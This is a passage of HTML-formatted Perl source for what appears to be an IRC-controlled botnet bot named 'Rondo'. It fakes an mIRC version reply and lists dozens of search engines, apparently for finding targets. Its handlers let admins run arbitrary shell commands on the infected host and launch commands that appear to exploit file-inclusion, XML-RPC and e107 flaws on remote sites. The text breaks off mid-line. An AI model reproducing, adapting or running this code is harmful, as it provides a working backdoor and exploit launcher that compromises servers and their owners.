margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;245:         &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; ($nread == 0) {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;246:             $sel_client-&amp;gt;remove($fh);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;247:             $fh-&amp;gt;&lt;span style=&quot;color: #0000ff&quot;&gt;close&lt;/span&gt;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;248:             &lt;span style=&quot;color: #0000ff&quot;&gt;delete&lt;/span&gt;($irc_servers{$fh});&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;249:         }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;250:         @lines = &lt;span style=&quot;color: #0000ff&quot;&gt;split&lt;/span&gt; (/\n/, $ircmsg);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;251:         $ircmsg =~ s/\r\n$&lt;span style=&quot;color: #008000&quot;&gt;//;&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;252: &lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;253:         &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;254:             &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;255:       &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $engine =&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;GooGLe,ReDiff,Bing,ALtaViSTa,AsK,UoL,CluSty,GutSer,GooGle2,ExaLead,VirgiLio,WebDe,AoL,SaPo,DuCk,YauSe,BaiDu,KiPoT,GiBLa,YahOo,HotBot,LyCos,LyGo,BLacK,oNeT,SiZuka,WaLLa,DeMos,RoSe,SeZnaM,TisCali,NaVeR,AmiDalLa,BusCaR,KvaSiR,eXciTe,InteRia,SnZ,RambLer,YaNdeX,AllTheWeb,IxQuic,LiBero,mSn,GooDsEaRch,MaMmA,FiRebalL,WeBcRawLer&lt;/span&gt;&amp;quot;;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;256:             &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; ($path eq $mynick) {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;257:                 &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; ($msg =~ /^PING (.*)/) {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;258:                     sendraw(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;NOTICE $nick :PING $1&lt;/span&gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;259:                 }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;260:                 &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; ($msg =~ /^VERSION/) {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;261:                     sendraw(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;NOTICE $nick :VERSION mIRC v6.17 Rondo&lt;/span&gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;262:                 }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;263:                 &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; ($msg =~ /^TIME/) {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;264:                     sendraw(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;NOTICE $nick :TIME &lt;/span&gt;&amp;quot;.$datetime.&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;&lt;/span&gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;265:                 }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;266:                 &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; (&amp;amp;isAdmin($nick) &amp;amp;&amp;amp; $msg eq &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;!die&lt;/span&gt;&amp;quot;) {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;267:                     &amp;amp;shell(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$path&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;kill -9 $$&lt;/span&gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;268:                 }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;269:                 &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; (&amp;amp;isAdmin($nick) &amp;amp;&amp;amp; $msg eq &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;!killall&lt;/span&gt;&amp;quot;) {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;270:                     &amp;amp;shell(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$path&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;killall -9 perl&lt;/span&gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;271:                 }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;272:                 &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; (&amp;amp;isAdmin($nick) &amp;amp;&amp;amp; $msg eq &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;!reset&lt;/span&gt;&amp;quot;) {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;273:                     sendraw(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;QUIT :Lompat...&lt;/span&gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;274:                 }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;275:                 &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; (&amp;amp;isAdmin($nick) &amp;amp;&amp;amp; $msg =~ /^!&lt;span style=&quot;color: #0000ff&quot;&gt;join&lt;/span&gt; \#(.+)/) {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;276:                     sendraw(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;JOIN #&lt;/span&gt;&amp;quot;.$1);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;277:                 }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;278:                 &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; (&amp;amp;isAdmin($nick) &amp;amp;&amp;amp; $msg =~ /^!part \#(.+)/) {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;279:                     sendraw(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;PART #&lt;/span&gt;&amp;quot;.$1);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;280:                 }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;281:                 &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; (&amp;amp;isAdmin($nick) &amp;amp;&amp;amp; $msg =~ /^!nick (.+)/) {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;282:                     sendraw(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;NICK &lt;/span&gt;&amp;quot;.$1);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;283:                 }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;284:                 &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; (&amp;amp;isAdmin($nick) &amp;amp;&amp;amp; $msg =~ /^!pid/) {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;285:                     sendraw($IRC_cur_socket, &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;PRIVMSG $nick :9Rondoe Process/PID : $Rondoeproc - $$&lt;/span&gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;286:                 }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;287:                 &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; (&amp;amp;isAdmin($nick) &amp;amp;&amp;amp; $msg !~ /^!/) {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;288:                     &amp;amp;shell(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$nick&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$msg&lt;/span&gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;289:                 }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;290:          &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; (&amp;amp;isAdmin($nick) &amp;amp;&amp;amp; $msg=~ /^$cmdlfi\s+(.*?)\s+(.*)/){&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;291:           &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $url = $1.$lfdtest;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;292:           &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $cmd = $2;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;293:           &amp;amp;cmdlfi($url,$cmd,$nick);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;294:         }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;295:         &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; (&amp;amp;isAdmin($nick) &amp;amp;&amp;amp; $msg=~ /^$cmdxml\s+(.*?)\s+(.*)/){&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;296:           &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $url = $1;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;297:           &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $cmd = $2;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;298:           &amp;amp;cmdxml($url,$cmd,$nick);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;299:         }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;300:         &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; (&amp;amp;isAdmin($nick) &amp;amp;&amp;amp; $msg=~ /^$cmde107\s+(.*?)\s+(.*)/){&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;301:           &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $url = $1;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;302:           &lt;span style=&quot;color: #0000ff&quot;&gt;my&lt;/span&gt; $cmd = $2;&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;303:           &amp;amp;cmde107($url,$cmd,$nick);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;304:         }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;305:            }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;306:             &lt;span style=&quot;color: #0000ff&quot;&gt;else&lt;/span&gt; {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;307:                 &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; (&amp;amp;isAdmin($nick) &amp;amp;&amp;amp; $msg eq &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;!die&lt;/span&gt;&amp;quot;) {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;308:                     &amp;amp;shell(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$path&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;kill -9 $$&lt;/span&gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;309:                 }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;310:                 &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; (&amp;amp;isAdmin($nick) &amp;amp;&amp;amp; $msg eq &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;!killall&lt;/span&gt;&amp;quot;) {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;311:                     &amp;amp;shell(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$path&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;killall -9 perl&lt;/span&gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;312:                 }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;313:                 &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; (&amp;amp;isAdmin($nick) &amp;amp;&amp;amp; $msg eq &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;!reset&lt;/span&gt;&amp;quot;) {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;314:                     sendraw(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;QUIT :Lompat...&lt;/span&gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;315:                 }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;316:                 &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; (&amp;amp;isAdmin($nick) &amp;amp;&amp;amp; $msg =~ /^!&lt;span style=&quot;color: #0000ff&quot;&gt;join&lt;/span&gt; \#(.+)/) {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;317:                     sendraw(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;JOIN #&lt;/span&gt;&amp;quot;.$1);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;318:                 }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;319:                 &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; (&amp;amp;isAdmin($nick) &amp;amp;&amp;amp; $msg eq &amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;!part&lt;/span&gt;&amp;quot;) {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;320:                     sendraw(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;PART $path&lt;/span&gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;321:                 }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;322:                 &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; (&amp;amp;isAdmin($nick) &amp;amp;&amp;amp; $msg =~ /^!part \#(.+)/) {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;323:                     sendraw(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;PART #&lt;/span&gt;&amp;quot;.$1);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;324:                 }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;325:                 &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; (&amp;amp;isAdmin($nick) &amp;amp;&amp;amp; $msg =~ /^\.sh (.*)/) {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;326:                     &amp;amp;shell(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$path&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$1&lt;/span&gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;327:                 }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;328:                 &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; (&amp;amp;isAdmin($nick) &amp;amp;&amp;amp; $msg =~ /^$mynick (.*)/) {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;329:                     &amp;amp;shell(&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$path&lt;/span&gt;&amp;quot;,&amp;quot;&lt;span style=&quot;color: #8b0000&quot;&gt;$1&lt;/span&gt;&amp;quot;);&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;330:                 }&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;331:         &lt;span style=&quot;color: #0000ff&quot;&gt;if&lt;/span&gt; (&amp;amp;isAdmin($nick) &amp;amp;&amp;amp; $msg =~ /^!&lt;span style=&quot;color: #0000ff&quot;&gt;eval&lt;/span&gt; (.*)/) {&lt;br /&gt;&lt;/pre&gt;&lt;pre style=&quot;background-color: #fbfbfb; margin: 0em; width: 100%; font-family: consolas,&amp;#39;Courier New&amp;#39;,courier,monospace; font-size: 12px&quot;&gt;332:         &lt;span style=&quot;color: 